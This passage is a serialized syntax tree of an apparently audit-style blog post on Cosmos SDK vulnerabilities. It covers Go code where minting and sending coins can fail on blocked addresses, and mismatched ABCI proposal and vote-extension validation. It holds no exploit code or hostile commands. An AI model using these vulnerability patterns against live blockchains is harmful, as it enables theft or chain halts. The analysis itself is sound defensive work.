23,"children":95224},{"class":13593,"line":16907},[95225,95229,95233,95237,95242,95246,95250,95255],{"type":25,"tag":271,"props":95226,"children":95227},{"style":16171},[95228],{"type":30,"value":16174},{"type":25,"tag":271,"props":95230,"children":95231},{"style":13598},[95232],{"type":30,"value":16179},{"type":25,"tag":271,"props":95234,"children":95235},{"style":13625},[95236],{"type":30,"value":44},{"type":25,"tag":271,"props":95238,"children":95239},{"style":13598},[95240],{"type":30,"value":95241},"event",{"type":25,"tag":271,"props":95243,"children":95244},{"style":13603},[95245],{"type":30,"value":89532},{"type":25,"tag":271,"props":95247,"children":95248},{"style":16171},[95249],{"type":30,"value":90512},{"type":25,"tag":271,"props":95251,"children":95252},{"style":13598},[95253],{"type":30,"value":95254}," events",{"type":25,"tag":271,"props":95256,"children":95257},{"style":13625},[95258],{"type":30,"value":16431},{"type":25,"tag":271,"props":95260,"children":95261},{"class":13593,"line":16915},[95262,95267,95271,95275,95279,95283,95287,95292,95296,95300,95304,95309],{"type":25,"tag":271,"props":95263,"children":95264},{"style":13598},[95265],{"type":30,"value":95266},"        recipient",{"type":25,"tag":271,"props":95268,"children":95269},{"style":13625},[95270],{"type":30,"value":44},{"type":25,"tag":271,"props":95272,"children":95273},{"style":13598},[95274],{"type":30,"value":61536},{"type":25,"tag":271,"props":95276,"children":95277},{"style":13603},[95278],{"type":30,"value":89532},{"type":25,"tag":271,"props":95280,"children":95281},{"style":13598},[95282],{"type":30,"value":91754},{"type":25,"tag":271,"props":95284,"children":95285},{"style":13625},[95286],{"type":30,"value":1860},{"type":25,"tag":271,"props":95288,"children":95289},{"style":13620},[95290],{"type":30,"value":95291},"AccAddressFromBech32",{"type":25,"tag":271,"props":95293,"children":95294},{"style":13625},[95295],{"type":30,"value":394},{"type":25,"tag":271,"props":95297,"children":95298},{"style":13598},[95299],{"type":30,"value":95241},{"type":25,"tag":271,"props":95301,"children":95302},{"style":13625},[95303],{"type":30,"value":1860},{"type":25,"tag":271,"props":95305,"children":95306},{"style":13598},[95307],{"type":30,"value":95308},"Recipient",{"type":25,"tag":271,"props":95310,"children":95311},{"style":13625},[95312],{"type":30,"value":16299},{"type":25,"tag":271,"props":95314,"children":95315},{"class":13593,"line":16945},[95316,95320,95324,95328,95332],{"type":25,"tag":271,"props":95317,"children":95318},{"style":16171},[95319],{"type":30,"value":16412},{"type":25,"tag":271,"props":95321,"children":95322},{"style":13598},[95323],{"type":30,"value":61637},{"type":25,"tag":271,"props":95325,"children":95326},{"style":13603},[95327],{"type":30,"value":77501},{"type":25,"tag":271,"props":95329,"children":95330},{"style":14289},[95331],{"type":30,"value":95031},{"type":25,"tag":271,"props":95333,"children":95334},{"style":13625},[95335],{"type":30,"value":16431},{"type":25,"tag":271,"props":95337,"children":95338},{"class":13593,"line":16953},[95339,95343,95348,95352,95356,95360,95365,95369,95373],{"type":25,"tag":271,"props":95340,"children":95341},{"style":16171},[95342],{"type":30,"value":92189},{"type":25,"tag":271,"props":95344,"children":95345},{"style":13598},[95346],{"type":30,"value":95347}," fmt",{"type":25,"tag":271,"props":95349,"children":95350},{"style":13625},[95351],{"type":30,"value":1860},{"type":25,"tag":271,"props":95353,"children":95354},{"style":13620},[95355],{"type":30,"value":95064},{"type":25,"tag":271,"props":95357,"children":95358},{"style":13625},[95359],{"type":30,"value":394},{"type":25,"tag":271,"props":95361,"children":95362},{"style":17388},[95363],{"type":30,"value":95364},"\"failed to parse recipient address: %w\"",{"type":25,"tag":271,"props":95366,"children":95367},{"style":13625},[95368],{"type":30,"value":44},{"type":25,"tag":271,"props":95370,"children":95371},{"style":13598},[95372],{"type":30,"value":61536},{"type":25,"tag":271,"props":95374,"children":95375},{"style":13625},[95376],{"type":30,"value":16299},{"type":25,"tag":271,"props":95378,"children":95379},{"class":13593,"line":16984},[95380],{"type":25,"tag":271,"props":95381,"children":95382},{"style":13625},[95383],{"type":30,"value":16492},{"type":25,"tag":271,"props":95385,"children":95386},{"class":13593,"line":16992},[95387],{"type":25,"tag":271,"props":95388,"children":95389},{"emptyLinePlaceholder":18},[95390],{"type":30,"value":16829},{"type":25,"tag":271,"props":95392,"children":95393},{"class":13593,"line":17052},[95394,95398,95403,95407,95412,95416,95420,95424,95429,95433,95438],{"type":25,"tag":271,"props":95395,"children":95396},{"style":16171},[95397],{"type":30,"value":16412},{"type":25,"tag":271,"props":95399,"children":95400},{"style":13598},[95401],{"type":30,"value":95402}," bytes",{"type":25,"tag":271,"props":95404,"children":95405},{"style":13625},[95406],{"type":30,"value":1860},{"type":25,"tag":271,"props":95408,"children":95409},{"style":13620},[95410],{"type":30,"value":95411},"Equal",{"type":25,"tag":271,"props":95413,"children":95414},{"style":13625},[95415],{"type":30,"value":394},{"type":25,"tag":271,"props":95417,"children":95418},{"style":13598},[95419],{"type":30,"value":95241},{"type":25,"tag":271,"props":95421,"children":95422},{"style":13625},[95423],{"type":30,"value":1860},{"type":25,"tag":271,"props":95425,"children":95426},{"style":13620},[95427],{"type":30,"value":95428},"TokenBytes",{"type":25,"tag":271,"props":95430,"children":95431},{"style":13625},[95432],{"type":30,"value":31497},{"type":25,"tag":271,"props":95434,"children":95435},{"style":13598},[95436],{"type":30,"value":95437},"sourceBTCToken",{"type":25,"tag":271,"props":95439,"children":95440},{"style":13625},[95441],{"type":30,"value":27925},{"type":25,"tag":271,"props":95443,"children":95444},{"class":13593,"line":22168},[95445,95450,95454,95458,95462,95467,95471,95475,95479,95483,95487,95491,95495,95499],{"type":25,"tag":271,"props":95446,"children":95447},{"style":13598},[95448],{"type":30,"value":95449},"            err",{"type":25,"tag":271,"props":95451,"children":95452},{"style":13603},[95453],{"type":30,"value":16155},{"type":25,"tag":271,"props":95455,"children":95456},{"style":13598},[95457],{"type":30,"value":94369},{"type":25,"tag":271,"props":95459,"children":95460},{"style":13625},[95461],{"type":30,"value":1860},{"type":25,"tag":271,"props":95463,"children":95464},{"style":13620},[95465],{"type":30,"value":95466},"mintBTC",{"type":25,"tag":271,"props":95468,"children":95469},{"style":13625},[95470],{"type":30,"value":394},{"type":25,"tag":271,"props":95472,"children":95473},{"style":13598},[95474],{"type":30,"value":33401},{"type":25,"tag":271,"props":95476,"children":95477},{"style":13625},[95478],{"type":30,"value":44},{"type":25,"tag":271,"props":95480,"children":95481},{"style":13598},[95482],{"type":30,"value":94764},{"type":25,"tag":271,"props":95484,"children":95485},{"style":13625},[95486],{"type":30,"value":44},{"type":25,"tag":271,"props":95488,"children":95489},{"style":13598},[95490],{"type":30,"value":95241},{"type":25,"tag":271,"props":95492,"children":95493},{"style":13625},[95494],{"type":30,"value":1860},{"type":25,"tag":271,"props":95496,"children":95497},{"style":13598},[95498],{"type":30,"value":92168},{"type":25,"tag":271,"props":95500,"children":95501},{"style":13625},[95502],{"type":30,"value":16299},{"type":25,"tag":271,"props":95504,"children":95505},{"class":13593,"line":22186},[95506,95510,95514,95518,95522],{"type":25,"tag":271,"props":95507,"children":95508},{"style":16171},[95509],{"type":30,"value":71916},{"type":25,"tag":271,"props":95511,"children":95512},{"style":13598},[95513],{"type":30,"value":61637},{"type":25,"tag":271,"props":95515,"children":95516},{"style":13603},[95517],{"type":30,"value":77501},{"type":25,"tag":271,"props":95519,"children":95520},{"style":14289},[95521],{"type":30,"value":95031},{"type":25,"tag":271,"props":95523,"children":95524},{"style":13625},[95525],{"type":30,"value":16431},{"type":25,"tag":271,"props":95527,"children":95528},{"class":13593,"line":22231},[95529,95533,95537,95541,95545],{"type":25,"tag":271,"props":95530,"children":95531},{"style":16171},[95532],{"type":30,"value":73844},{"type":25,"tag":271,"props":95534,"children":95535},{"style":13598},[95536],{"type":30,"value":95347},{"type":25,"tag":271,"props":95538,"children":95539},{"style":13625},[95540],{"type":30,"value":1860},{"type":25,"tag":271,"props":95542,"children":95543},{"style":13620},[95544],{"type":30,"value":95064},{"type":25,"tag":271,"props":95546,"children":95547},{"style":13625},[95548],{"type":30,"value":16609},{"type":25,"tag":271,"props":95550,"children":95551},{"class":13593,"line":22337},[95552,95557],{"type":25,"tag":271,"props":95553,"children":95554},{"style":17388},[95555],{"type":30,"value":95556},"                    \"failed to mint BTC for event %v: %w\"",{"type":25,"tag":271,"props":95558,"children":95559},{"style":13625},[95560],{"type":30,"value":14351},{"type":25,"tag":271,"props":95562,"children":95563},{"class":13593,"line":36608},[95564,95569,95573,95578],{"type":25,"tag":271,"props":95565,"children":95566},{"style":13598},[95567],{"type":30,"value":95568},"                    event",{"type":25,"tag":271,"props":95570,"children":95571},{"style":13625},[95572],{"type":30,"value":1860},{"type":25,"tag":271,"props":95574,"children":95575},{"style":13598},[95576],{"type":30,"value":95577},"Sequence",{"type":25,"tag":271,"props":95579,"children":95580},{"style":13625},[95581],{"type":30,"value":14351},{"type":25,"tag":271,"props":95583,"children":95584},{"class":13593,"line":36643},[95585,95590],{"type":25,"tag":271,"props":95586,"children":95587},{"style":13598},[95588],{"type":30,"value":95589},"                    err",{"type":25,"tag":271,"props":95591,"children":95592},{"style":13625},[95593],{"type":30,"value":14351},{"type":25,"tag":271,"props":95595,"children":95596},{"class":13593,"line":36651},[95597],{"type":25,"tag":271,"props":95598,"children":95599},{"style":13625},[95600],{"type":30,"value":95601},"                )\n",{"type":25,"tag":271,"props":95603,"children":95604},{"class":13593,"line":36659},[95605],{"type":25,"tag":271,"props":95606,"children":95607},{"style":13625},[95608],{"type":30,"value":72000},{"type":25,"tag":271,"props":95610,"children":95611},{"class":13593,"line":36668},[95612,95616,95620],{"type":25,"tag":271,"props":95613,"children":95614},{"style":13625},[95615],{"type":30,"value":16453},{"type":25,"tag":271,"props":95617,"children":95618},{"style":16171},[95619],{"type":30,"value":16458},{"type":25,"tag":271,"props":95621,"children":95622},{"style":13625},[95623],{"type":30,"value":16431},{"type":25,"tag":271,"props":95625,"children":95626},{"class":13593,"line":36710},[95627],{"type":25,"tag":271,"props":95628,"children":95629},{"style":13603},[95630],{"type":30,"value":95631},"            ...\n",{"type":25,"tag":271,"props":95633,"children":95634},{"class":13593,"line":36743},[95635],{"type":25,"tag":271,"props":95636,"children":95637},{"style":13625},[95638],{"type":30,"value":16492},{"type":25,"tag":271,"props":95640,"children":95641},{"class":13593,"line":36751},[95642],{"type":25,"tag":271,"props":95643,"children":95644},{"style":13625},[95645],{"type":30,"value":16501},{"type":25,"tag":271,"props":95647,"children":95648},{"class":13593,"line":36759},[95649],{"type":25,"tag":271,"props":95650,"children":95651},{"style":13603},[95652],{"type":30,"value":33460},{"type":25,"tag":271,"props":95654,"children":95655},{"class":13593,"line":36768},[95656],{"type":25,"tag":271,"props":95657,"children":95658},{"style":13625},[95659],{"type":30,"value":17058},{"type":25,"tag":271,"props":95661,"children":95662},{"class":13593,"line":36844},[95663],{"type":25,"tag":271,"props":95664,"children":95665},{"emptyLinePlaceholder":18},[95666],{"type":30,"value":16829},{"type":25,"tag":271,"props":95668,"children":95669},{"class":13593,"line":36877},[95670,95674,95678,95682,95686,95690,95694],{"type":25,"tag":271,"props":95671,"children":95672},{"style":14289},[95673],{"type":30,"value":89416},{"type":25,"tag":271,"props":95675,"children":95676},{"style":13625},[95677],{"type":30,"value":16213},{"type":25,"tag":271,"props":95679,"children":95680},{"style":13598},[95681],{"type":30,"value":94241},{"type":25,"tag":271,"props":95683,"children":95684},{"style":13609},[95685],{"type":30,"value":93058},{"type":25,"tag":271,"props":95687,"children":95688},{"style":13625},[95689],{"type":30,"value":14406},{"type":25,"tag":271,"props":95691,"children":95692},{"style":13620},[95693],{"type":30,"value":95466},{"type":25,"tag":271,"props":95695,"children":95696},{"style":13625},[95697],{"type":30,"value":16609},{"type":25,"tag":271,"props":95699,"children":95700},{"class":13593,"line":36885},[95701,95705,95709,95713,95717],{"type":25,"tag":271,"props":95702,"children":95703},{"style":13598},[95704],{"type":30,"value":33344},{"type":25,"tag":271,"props":95706,"children":95707},{"style":13609},[95708],{"type":30,"value":91754},{"type":25,"tag":271,"props":95710,"children":95711},{"style":13625},[95712],{"type":30,"value":1860},{"type":25,"tag":271,"props":95714,"children":95715},{"style":13609},[95716],{"type":30,"value":89465},{"type":25,"tag":271,"props":95718,"children":95719},{"style":13625},[95720],{"type":30,"value":14351},{"type":25,"tag":271,"props":95722,"children":95723},{"class":13593,"line":36893},[95724,95729,95733,95737,95742],{"type":25,"tag":271,"props":95725,"children":95726},{"style":13598},[95727],{"type":30,"value":95728},"    recipient",{"type":25,"tag":271,"props":95730,"children":95731},{"style":13609},[95732],{"type":30,"value":91754},{"type":25,"tag":271,"props":95734,"children":95735},{"style":13625},[95736],{"type":30,"value":1860},{"type":25,"tag":271,"props":95738,"children":95739},{"style":13609},[95740],{"type":30,"value":95741},"AccAddress",{"type":25,"tag":271,"props":95743,"children":95744},{"style":13625},[95745],{"type":30,"value":14351},{"type":25,"tag":271,"props":95747,"children":95748},{"class":13593,"line":36930},[95749,95753,95758,95762,95767],{"type":25,"tag":271,"props":95750,"children":95751},{"style":13598},[95752],{"type":30,"value":74698},{"type":25,"tag":271,"props":95754,"children":95755},{"style":13609},[95756],{"type":30,"value":95757}," math",{"type":25,"tag":271,"props":95759,"children":95760},{"style":13625},[95761],{"type":30,"value":1860},{"type":25,"tag":271,"props":95763,"children":95764},{"style":13609},[95765],{"type":30,"value":95766},"Int",{"type":25,"tag":271,"props":95768,"children":95769},{"style":13625},[95770],{"type":30,"value":14351},{"type":25,"tag":271,"props":95772,"children":95773},{"class":13593,"line":36943},[95774,95778,95782],{"type":25,"tag":271,"props":95775,"children":95776},{"style":13625},[95777],{"type":30,"value":14406},{"type":25,"tag":271,"props":95779,"children":95780},{"style":13609},[95781],{"type":30,"value":27985},{"type":25,"tag":271,"props":95783,"children":95784},{"style":13625},[95785],{"type":30,"value":16431},{"type":25,"tag":271,"props":95787,"children":95788},{"class":13593,"line":36956},[95789],{"type":25,"tag":271,"props":95790,"children":95791},{"style":13603},[95792],{"type":30,"value":33460},{"type":25,"tag":271,"props":95794,"children":95795},{"class":13593,"line":36969},[95796,95801,95805,95809,95813,95818,95822,95826],{"type":25,"tag":271,"props":95797,"children":95798},{"style":13598},[95799],{"type":30,"value":95800},"    err",{"type":25,"tag":271,"props":95802,"children":95803},{"style":13603},[95804],{"type":30,"value":16155},{"type":25,"tag":271,"props":95806,"children":95807},{"style":13598},[95808],{"type":30,"value":94369},{"type":25,"tag":271,"props":95810,"children":95811},{"style":13625},[95812],{"type":30,"value":1860},{"type":25,"tag":271,"props":95814,"children":95815},{"style":13598},[95816],{"type":30,"value":95817},"bankKeeper",{"type":25,"tag":271,"props":95819,"children":95820},{"style":13625},[95821],{"type":30,"value":1860},{"type":25,"tag":271,"props":95823,"children":95824},{"style":13620},[95825],{"type":30,"value":94756},{"type":25,"tag":271,"props":95827,"children":95828},{"style":13625},[95829],{"type":30,"value":16609},{"type":25,"tag":271,"props":95831,"children":95832},{"class":13593,"line":37023},[95833,95837],{"type":25,"tag":271,"props":95834,"children":95835},{"style":13598},[95836],{"type":30,"value":39296},{"type":25,"tag":271,"props":95838,"children":95839},{"style":13625},[95840],{"type":30,"value":14351},{"type":25,"tag":271,"props":95842,"children":95843},{"class":13593,"line":37032},[95844,95849,95853,95858],{"type":25,"tag":271,"props":95845,"children":95846},{"style":13598},[95847],{"type":30,"value":95848},"        types",{"type":25,"tag":271,"props":95850,"children":95851},{"style":13625},[95852],{"type":30,"value":1860},{"type":25,"tag":271,"props":95854,"children":95855},{"style":13598},[95856],{"type":30,"value":95857},"ModuleName",{"type":25,"tag":271,"props":95859,"children":95860},{"style":13625},[95861],{"type":30,"value":14351},{"type":25,"tag":271,"props":95863,"children":95864},{"class":13593,"line":45393},[95865,95869],{"type":25,"tag":271,"props":95866,"children":95867},{"style":13598},[95868],{"type":30,"value":95266},{"type":25,"tag":271,"props":95870,"children":95871},{"style":13625},[95872],{"type":30,"value":14351},{"type":25,"tag":271,"props":95874,"children":95875},{"class":13593,"line":45414},[95876,95881],{"type":25,"tag":271,"props":95877,"children":95878},{"style":13598},[95879],{"type":30,"value":95880},"        coins",{"type":25,"tag":271,"props":95882,"children":95883},{"style":13625},[95884],{"type":30,"value":14351},{"type":25,"tag":271,"props":95886,"children":95887},{"class":13593,"line":94064},[95888],{"type":25,"tag":271,"props":95889,"children":95890},{"style":13625},[95891],{"type":30,"value":37029},{"type":25,"tag":271,"props":95893,"children":95894},{"class":13593,"line":94077},[95895,95899,95903,95907,95911],{"type":25,"tag":271,"props":95896,"children":95897},{"style":16171},[95898],{"type":30,"value":25404},{"type":25,"tag":271,"props":95900,"children":95901},{"style":13598},[95902],{"type":30,"value":61637},{"type":25,"tag":271,"props":95904,"children":95905},{"style":13603},[95906],{"type":30,"value":77501},{"type":25,"tag":271,"props":95908,"children":95909},{"style":14289},[95910],{"type":30,"value":95031},{"type":25,"tag":271,"props":95912,"children":95913},{"style":13625},[95914],{"type":30,"value":16431},{"type":25,"tag":271,"props":95916,"children":95917},{"class":13593,"line":94085},[95918,95922,95926,95930,95934,95938,95943,95947,95951],{"type":25,"tag":271,"props":95919,"children":95920},{"style":16171},[95921],{"type":30,"value":28866},{"type":25,"tag":271,"props":95923,"children":95924},{"style":13598},[95925],{"type":30,"value":95347},{"type":25,"tag":271,"props":95927,"children":95928},{"style":13625},[95929],{"type":30,"value":1860},{"type":25,"tag":271,"props":95931,"children":95932},{"style":13620},[95933],{"type":30,"value":95064},{"type":25,"tag":271,"props":95935,"children":95936},{"style":13625},[95937],{"type":30,"value":394},{"type":25,"tag":271,"props":95939,"children":95940},{"style":17388},[95941],{"type":30,"value":95942},"\"failed to send coins: %w\"",{"type":25,"tag":271,"props":95944,"children":95945},{"style":13625},[95946],{"type":30,"value":44},{"type":25,"tag":271,"props":95948,"children":95949},{"style":13598},[95950],{"type":30,"value":61536},{"type":25,"tag":271,"props":95952,"children":95953},{"style":13625},[95954],{"type":30,"value":16299},{"type":25,"tag":271,"props":95956,"children":95957},{"class":13593,"line":94093},[95958],{"type":25,"tag":271,"props":95959,"children":95960},{"style":13625},[95961],{"type":30,"value":16501},{"type":25,"tag":271,"props":95963,"children":95964},{"class":13593,"line":94101},[95965],{"type":25,"tag":271,"props":95966,"children":95967},{"style":13603},[95968],{"type":30,"value":33460},{"type":25,"tag":271,"props":95970,"children":95971},{"class":13593,"line":94141},[95972],{"type":25,"tag":271,"props":95973,"children":95974},{"style":13625},[95975],{"type":30,"value":17058},{"type":25,"tag":7764,"props":95977,"children":95979},{"code":95978,"language":89280,"meta":7,"className":89281,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[95980],{"type":25,"tag":264,"props":95981,"children":95982},{"__ignoreMap":7},[95983,96015,96094,96109,96117,96148,96206,96213,96220],{"type":25,"tag":271,"props":95984,"children":95985},{"class":13593,"line":13594},[95986,95990,95994,95998,96003,96007,96011],{"type":25,"tag":271,"props":95987,"children":95988},{"style":14289},[95989],{"type":30,"value":89416},{"type":25,"tag":271,"props":95991,"children":95992},{"style":13625},[95993],{"type":30,"value":16213},{"type":25,"tag":271,"props":95995,"children":95996},{"style":13598},[95997],{"type":30,"value":94241},{"type":25,"tag":271,"props":95999,"children":96000},{"style":13609},[96001],{"type":30,"value":96002},"BaseKeeper",{"type":25,"tag":271,"props":96004,"children":96005},{"style":13625},[96006],{"type":30,"value":14406},{"type":25,"tag":271,"props":96008,"children":96009},{"style":13620},[96010],{"type":30,"value":94756},{"type":25,"tag":271,"props":96012,"children":96013},{"style":13625},[96014],{"type":30,"value":16609},{"type":25,"tag":271,"props":96016,"children":96017},{"class":13593,"line":11641},[96018,96022,96026,96030,96034,96038,96043,96047,96051,96056,96060,96064,96068,96072,96077,96081,96085,96090],{"type":25,"tag":271,"props":96019,"children":96020},{"style":13598},[96021],{"type":30,"value":38953},{"type":25,"tag":271,"props":96023,"children":96024},{"style":13609},[96025],{"type":30,"value":89456},{"type":25,"tag":271,"props":96027,"children":96028},{"style":13625},[96029],{"type":30,"value":1860},{"type":25,"tag":271,"props":96031,"children":96032},{"style":13609},[96033],{"type":30,"value":89465},{"type":25,"tag":271,"props":96035,"children":96036},{"style":13625},[96037],{"type":30,"value":44},{"type":25,"tag":271,"props":96039,"children":96040},{"style":13598},[96041],{"type":30,"value":96042},"senderModule",{"type":25,"tag":271,"props":96044,"children":96045},{"style":13609},[96046],{"type":30,"value":49141},{"type":25,"tag":271,"props":96048,"children":96049},{"style":13625},[96050],{"type":30,"value":44},{"type":25,"tag":271,"props":96052,"children":96053},{"style":13598},[96054],{"type":30,"value":96055},"recipientAddr",{"type":25,"tag":271,"props":96057,"children":96058},{"style":13609},[96059],{"type":30,"value":91754},{"type":25,"tag":271,"props":96061,"children":96062},{"style":13625},[96063],{"type":30,"value":1860},{"type":25,"tag":271,"props":96065,"children":96066},{"style":13609},[96067],{"type":30,"value":95741},{"type":25,"tag":271,"props":96069,"children":96070},{"style":13625},[96071],{"type":30,"value":44},{"type":25,"tag":271,"props":96073,"children":96074},{"style":13598},[96075],{"type":30,"value":96076},"amt",{"type":25,"tag":271,"props":96078,"children":96079},{"style":13609},[96080],{"type":30,"value":91754},{"type":25,"tag":271,"props":96082,"children":96083},{"style":13625},[96084],{"type":30,"value":1860},{"type":25,"tag":271,"props":96086,"children":96087},{"style":13609},[96088],{"type":30,"value":96089},"Coins",{"type":25,"tag":271,"props":96091,"children":96092},{"style":13625},[96093],{"type":30,"value":14351},{"type":25,"tag":271,"props":96095,"children":96096},{"class":13593,"line":14354},[96097,96101,96105],{"type":25,"tag":271,"props":96098,"children":96099},{"style":13625},[96100],{"type":30,"value":14406},{"type":25,"tag":271,"props":96102,"children":96103},{"style":13609},[96104],{"type":30,"value":27985},{"type":25,"tag":271,"props":96106,"children":96107},{"style":13625},[96108],{"type":30,"value":16431},{"type":25,"tag":271,"props":96110,"children":96111},{"class":13593,"line":14391},[96112],{"type":25,"tag":271,"props":96113,"children":96114},{"style":13603},[96115],{"type":30,"value":96116}," ...\n",{"type":25,"tag":271,"props":96118,"children":96119},{"class":13593,"line":14400},[96120,96124,96128,96132,96136,96140,96144],{"type":25,"tag":271,"props":96121,"children":96122},{"style":16171},[96123],{"type":30,"value":28910},{"type":25,"tag":271,"props":96125,"children":96126},{"style":13598},[96127],{"type":30,"value":94369},{"type":25,"tag":271,"props":96129,"children":96130},{"style":13625},[96131],{"type":30,"value":1860},{"type":25,"tag":271,"props":96133,"children":96134},{"style":13620},[96135],{"type":30,"value":94772},{"type":25,"tag":271,"props":96137,"children":96138},{"style":13625},[96139],{"type":30,"value":394},{"type":25,"tag":271,"props":96141,"children":96142},{"style":13598},[96143],{"type":30,"value":96055},{"type":25,"tag":271,"props":96145,"children":96146},{"style":13625},[96147],{"type":30,"value":27925},{"type":25,"tag":271,"props":96149,"children":96150},{"class":13593,"line":16406},[96151,96155,96160,96164,96168,96172,96176,96180,96185,96189,96194,96198,96202],{"type":25,"tag":271,"props":96152,"children":96153},{"style":16171},[96154],{"type":30,"value":52309},{"type":25,"tag":271,"props":96156,"children":96157},{"style":13598},[96158],{"type":30,"value":96159}," errorsmod",{"type":25,"tag":271,"props":96161,"children":96162},{"style":13625},[96163],{"type":30,"value":1860},{"type":25,"tag":271,"props":96165,"children":96166},{"style":13620},[96167],{"type":30,"value":94023},{"type":25,"tag":271,"props":96169,"children":96170},{"style":13625},[96171],{"type":30,"value":394},{"type":25,"tag":271,"props":96173,"children":96174},{"style":13598},[96175],{"type":30,"value":93685},{"type":25,"tag":271,"props":96177,"children":96178},{"style":13625},[96179],{"type":30,"value":1860},{"type":25,"tag":271,"props":96181,"children":96182},{"style":13598},[96183],{"type":30,"value":96184},"ErrUnauthorized",{"type":25,"tag":271,"props":96186,"children":96187},{"style":13625},[96188],{"type":30,"value":44},{"type":25,"tag":271,"props":96190,"children":96191},{"style":17388},[96192],{"type":30,"value":96193},"\"%s is not allowed to receive funds\"",{"type":25,"tag":271,"props":96195,"children":96196},{"style":13625},[96197],{"type":30,"value":44},{"type":25,"tag":271,"props":96199,"children":96200},{"style":13598},[96201],{"type":30,"value":96055},{"type":25,"tag":271,"props":96203,"children":96204},{"style":13625},[96205],{"type":30,"value":16299},{"type":25,"tag":271,"props":96207,"children":96208},{"class":13593,"line":16434},[96209],{"type":25,"tag":271,"props":96210,"children":96211},{"style":13625},[96212],{"type":30,"value":22719},{"type":25,"tag":271,"props":96214,"children":96215},{"class":13593,"line":16447},[96216],{"type":25,"tag":271,"props":96217,"children":96218},{"style":13603},[96219],{"type":30,"value":96116},{"type":25,"tag":271,"props":96221,"children":96222},{"class":13593,"line":16465},[96223],{"type":25,"tag":271,"props":96224,"children":96225},{"style":13625},[96226],{"type":30,"value":17058},{"type":25,"tag":26,"props":96228,"children":96229},{},[96230,96232,96239],{"type":30,"value":96231},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":25,"tag":83,"props":96233,"children":96236},{"href":96234,"rel":96235},"https://hackerone.com/reports/3018307",[9066],[96237],{"type":30,"value":96238},"improper decimal handling in the group module",{"type":30,"value":1860},{"type":25,"tag":96,"props":96241,"children":96243},{"id":96242},"same-same-but-different",[96244],{"type":30,"value":96245},"Same, Same... But Different",{"type":25,"tag":26,"props":96247,"children":96248},{},[96249,96251,96257,96258,96264,96265,96271,96272,96278],{"type":30,"value":96250},"Cosmos exposes several consensus-level interfaces, such as ",{"type":25,"tag":264,"props":96252,"children":96254},{"className":96253},[],[96255],{"type":30,"value":96256},"PrepareProposal",{"type":30,"value":44},{"type":25,"tag":264,"props":96259,"children":96261},{"className":96260},[],[96262],{"type":30,"value":96263},"ProcessProposal",{"type":30,"value":44},{"type":25,"tag":264,"props":96266,"children":96268},{"className":96267},[],[96269],{"type":30,"value":96270},"ExtendVote",{"type":30,"value":69},{"type":25,"tag":264,"props":96273,"children":96275},{"className":96274},[],[96276],{"type":30,"value":96277},"VerifyVoteExtension",{"type":30,"value":96279},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":25,"tag":26,"props":96281,"children":96282},{},[96283],{"type":30,"value":96284},"Two of the best-known attack surfaces are",{"type":25,"tag":661,"props":96286,"children":96287},{},[96288,96317],{"type":25,"tag":112,"props":96289,"children":96290},{},[96291,96296,96297,96302,96304,96309,96310,96315],{"type":25,"tag":264,"props":96292,"children":96294},{"className":96293},[],[96295],{"type":30,"value":96256},{"type":30,"value":16213},{"type":25,"tag":264,"props":96298,"children":96300},{"className":96299},[],[96301],{"type":30,"value":96270},{"type":30,"value":96303},") outputs being rejected due to ",{"type":25,"tag":264,"props":96305,"children":96307},{"className":96306},[],[96308],{"type":30,"value":96263},{"type":30,"value":16213},{"type":25,"tag":264,"props":96311,"children":96313},{"className":96312},[],[96314],{"type":30,"value":96277},{"type":30,"value":96316},") over-validating, resulting in liveness failures.",{"type":25,"tag":112,"props":96318,"children":96319},{},[96320,96322,96327,96328,96333,96335,96340,96341,96346],{"type":30,"value":96321},"Malicious proposals and vote extensions not created through the ",{"type":25,"tag":264,"props":96323,"children":96325},{"className":96324},[],[96326],{"type":30,"value":96256},{"type":30,"value":16213},{"type":25,"tag":264,"props":96329,"children":96331},{"className":96330},[],[96332],{"type":30,"value":96270},{"type":30,"value":96334},") are accepted due to ",{"type":25,"tag":264,"props":96336,"children":96338},{"className":96337},[],[96339],{"type":30,"value":96263},{"type":30,"value":16213},{"type":25,"tag":264,"props":96342,"children":96344},{"className":96343},[],[96345],{"type":30,"value":96277},{"type":30,"value":96347},") under-validating.",{"type":25,"tag":26,"props":96349,"children":96350},{},[96351],{"type":30,"value":96352},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":25,"tag":26,"props":96354,"children":96355},{},[96356,96358,96364,96366,96371],{"type":30,"value":96357},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":25,"tag":264,"props":96359,"children":96361},{"className":96360},[],[96362],{"type":30,"value":96363},"VoteExtensions",{"type":30,"value":96365}," within ",{"type":25,"tag":264,"props":96367,"children":96369},{"className":96368},[],[96370],{"type":30,"value":96256},{"type":30,"value":96372},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":25,"tag":26,"props":96374,"children":96375},{},[96376,96378,96383,96385,96390],{"type":30,"value":96377},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":25,"tag":264,"props":96379,"children":96381},{"className":96380},[],[96382],{"type":30,"value":96270},{"type":30,"value":96384}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":25,"tag":264,"props":96386,"children":96388},{"className":96387},[],[96389],{"type":30,"value":96277},{"type":30,"value":96391},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":25,"tag":26,"props":96393,"children":96394},{},[96395,96397,96402],{"type":30,"value":96396},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":25,"tag":264,"props":96398,"children":96400},{"className":96399},[],[96401],{"type":30,"value":96277},{"type":30,"value":96403}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":25,"tag":26,"props":96405,"children":96406},{},[96407,96409,96414,96416,96422],{"type":30,"value":96408},"Unfortunately, CometBTF directly accepts late precommits without passing them through 